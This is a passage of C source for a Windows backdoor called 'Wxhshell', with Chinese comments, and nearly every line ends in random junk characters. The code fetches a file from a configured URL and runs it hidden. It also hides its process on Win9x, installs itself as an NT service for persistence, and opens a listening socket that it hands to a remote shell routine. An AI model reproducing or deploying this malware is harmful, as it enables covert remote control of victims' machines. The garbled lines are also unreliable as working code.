DWORD AffinityMask; P!yE{_%
DWORD BasePriority; Ut4cli&cC
ULONG UniqueProcessId; Zh. 5\&bm
ULONG InheritedFromUniqueProcessId; <a%9d<@m
} PROCESS_BASIC_INFORMATION; GkqKIs
8Z{&b,Y4L
PROCNTQSIP NtQueryInformationProcess; -g8G47piX:
\{
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; E5 "%-fAJ
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6|gC##T
Pe[~kog,TP
HANDLE hProcess; F9(*MP|
PROCESS_BASIC_INFORMATION pbi; _j t>%v4}4
T+p?VngF
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |fX
@o0H
if(NULL == hInst ) return 0; ^eke,,~
@q0\oG4L
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); M:V'vme)+
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4PG]L`J{
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); F|\^O[#R
"H I&dC
if (!NtQueryInformationProcess) return 0; iX4?5yz~<
5,
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %D|p7&
if(!hProcess) return 0; `8^4,
AA[(rw
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -0[?6.(s"
C-Y~T;53
CloseHandle(hProcess); %Wy$m?gD
Ce 3{KGBw
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); c*LB=;npI
if(hProcess==NULL) return 0; 67Z@Hg
+[386
HMODULE hMod; UYJMW S=
char procName[255]; 3ZRi@=kWz
unsigned long cbNeeded; )BI6nU
1.p2{
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); cm`Jr#kl{
yV`H_iC
CloseHandle(hProcess); Q+L;k
R
PvW {g5)S
if(strstr(procName,"services")) return 1; // 以服务启动 B",5"'id
Zj,1)ii
return 0; // 注册表启动 OCR`1
} (I(?oCQ
ZBw]H'sT
// 主模块 OR84/^>
int StartWxhshell(LPSTR lpCmdLine) ./SDZ:5/
{ PeD>mCvL"
SOCKET wsl; / =]h@m-`
BOOL val=TRUE; $;GH
-+
int port=0; yjcZTvjJ
struct sockaddr_in door; %H)^k${
`6bIxb{
if(wscfg.ws_autoins) Install(); awYnlE/Z1
_p;>]0cc.
port=atoi(lpCmdLine); L!:8yJK
>9-$E?Mt
if(port<=0) port=wscfg.ws_port; l(&3s:Ud
clhmpu
WSADATA data; JATW'HWC|I
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; G;RFY!o
HpbSf1VvAf
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 2bu,_<K.
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l', +l{\Z
door.sin_family = AF_INET; j@g`Pm%u`
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^,-2";2Xh
door.sin_port = htons(port); gX29c
EKQ\MC1
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { q!L@9&KAQ
closesocket(wsl); hJ~Na\?w
return 1; &m{SWV+
} tVI6GXH
244[a]
%&;
if(listen(wsl,2) == INVALID_SOCKET) { > nHaMj
closesocket(wsl); !TNp|U!
return 1; &TgS$c5k
} E; `@S
Wxhshell(wsl); exW|c~|m{A
WSACleanup(); >:C0ZQUW
D*T*of G
return 0; Ms4~P6;%
r6WSX;K
} Z;v5L/;
/RG>n
// 以NT服务方式启动 k7L-J
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) y$Nqw9
{ }Gvu!a#R
DWORD status = 0; !=uaB.
DWORD specificError = 0xfffffff; \v\f'eQ
{[I]pm~n
serviceStatus.dwServiceType = SERVICE_WIN32; ey/{Z<D
serviceStatus.dwCurrentState = SERVICE_START_PENDING; _%R]TlL
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $O'IbA
serviceStatus.dwWin32ExitCode = 0; ;!~&-I0l
serviceStatus.dwServiceSpecificExitCode = 0; Z]~) ->=}
serviceStatus.dwCheckPoint = 0; %XC3V7
serviceStatus.dwWaitHint = 0; 5>Kk>[|.
}Quk n
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -- >q=hlA
if (hServiceStatusHandle==0) return; U ;%cp
F<V.OFt
status = GetLastError(); 2gasH11M
if (status!=NO_ERROR) *\$m1g7b
{ m%ec=%L9
serviceStatus.dwCurrentState = SERVICE_STOPPED; !B*l'OJw
serviceStatus.dwCheckPoint = 0; +nAbcBJAl
serviceStatus.dwWaitHint = 0; o;kxu(>yL'
serviceStatus.dwWin32ExitCode = status; 6 2*p*t
serviceStatus.dwServiceSpecificExitCode = specificError; qr@<'wp/
SetServiceStatus(hServiceStatusHandle, &serviceStatus); C0K0c6A(4
return; n g,&;E
} |KMwK
png
0s$;3qE
serviceStatus.dwCurrentState = SERVICE_RUNNING; <u_vL
WS
serviceStatus.dwCheckPoint = 0; TSKT6_IJw
serviceStatus.dwWaitHint = 0; dug^o c1
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); z7X,5[P
} m7#v2:OD+
e,K.bgi
// 处理NT服务事件,比如:启动、停止 d1qvS@
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4'~zuUs
{ xYd]|y
switch(fdwControl) btR~LJb
{ pw.K,?kYr
case SERVICE_CONTROL_STOP: iJU=98q
serviceStatus.dwWin32ExitCode = 0; f2LiCe.?
serviceStatus.dwCurrentState = SERVICE_STOPPED; koojF|H>
serviceStatus.dwCheckPoint = 0; +RBX2$kB
serviceStatus.dwWaitHint = 0; ;Yve m
{ +HT?>k
SetServiceStatus(hServiceStatusHandle, &serviceStatus); H$ZLtPv5
} 91#rP|88;
return; B&+)s5hh
case SERVICE_CONTROL_PAUSE: dW5@Z-9
serviceStatus.dwCurrentState = SERVICE_PAUSED; ,;@vVm'}
break; FP<mFqy
case SERVICE_CONTROL_CONTINUE: d-cW47
serviceStatus.dwCurrentState = SERVICE_RUNNING; kXroFLrY
break; 3\ {?L
case SERVICE_CONTROL_INTERROGATE: k>)Uyw$!
break; J kxsua
}; hiKyU!)Hv
SetServiceStatus(hServiceStatusHandle, &serviceStatus); (fun,(R6"
} 6Z l#$>P
?={S"qK(q
// 标准应用程序主函数 ZOBcV,K
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ipe8U1Sc
{ o~{rZ~
'
~1/*F%8
// 获取操作系统版本 nv<t$r
OsIsNt=GetOsVer(); A2.GNk
GetModuleFileName(NULL,ExeFile,MAX_PATH); v[<x>?iD_
w9w=2 *
// 从命令行安装 Sq SiuO.D
if(strpbrk(lpCmdLine,"iI")) Install(); ` 7P%muY.
X`20=x
// 下载执行文件 m-2!r*(zt
if(wscfg.ws_downexe) { nX_w F`n"
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8ZF!}kb0F
WinExec(wscfg.ws_filenam,SW_HIDE); dczq,evp
} 34,'smH i%
K!,9qH
if(!OsIsNt) { Yosfk\D
// 如果时win9x,隐藏进程并且设置为注册表启动 \iRmGvT
HideProc(); G1a56TIN~
StartWxhshell(lpCmdLine); j#jwK(:]
} 7?;ZE:
else P0/Ctke;
if(StartFromService()) 2YQ;Kh"S
// 以服务方式启动 x=03WQ8
StartServiceCtrlDispatcher(DispatchTable); `\r<3?
else &`IJ55Z-)
// 普通方式启动 `x`zv1U
StartWxhshell(lpCmdLine); .lAPlJOO
bA1O]:`
return 0; >a;LBQ0
}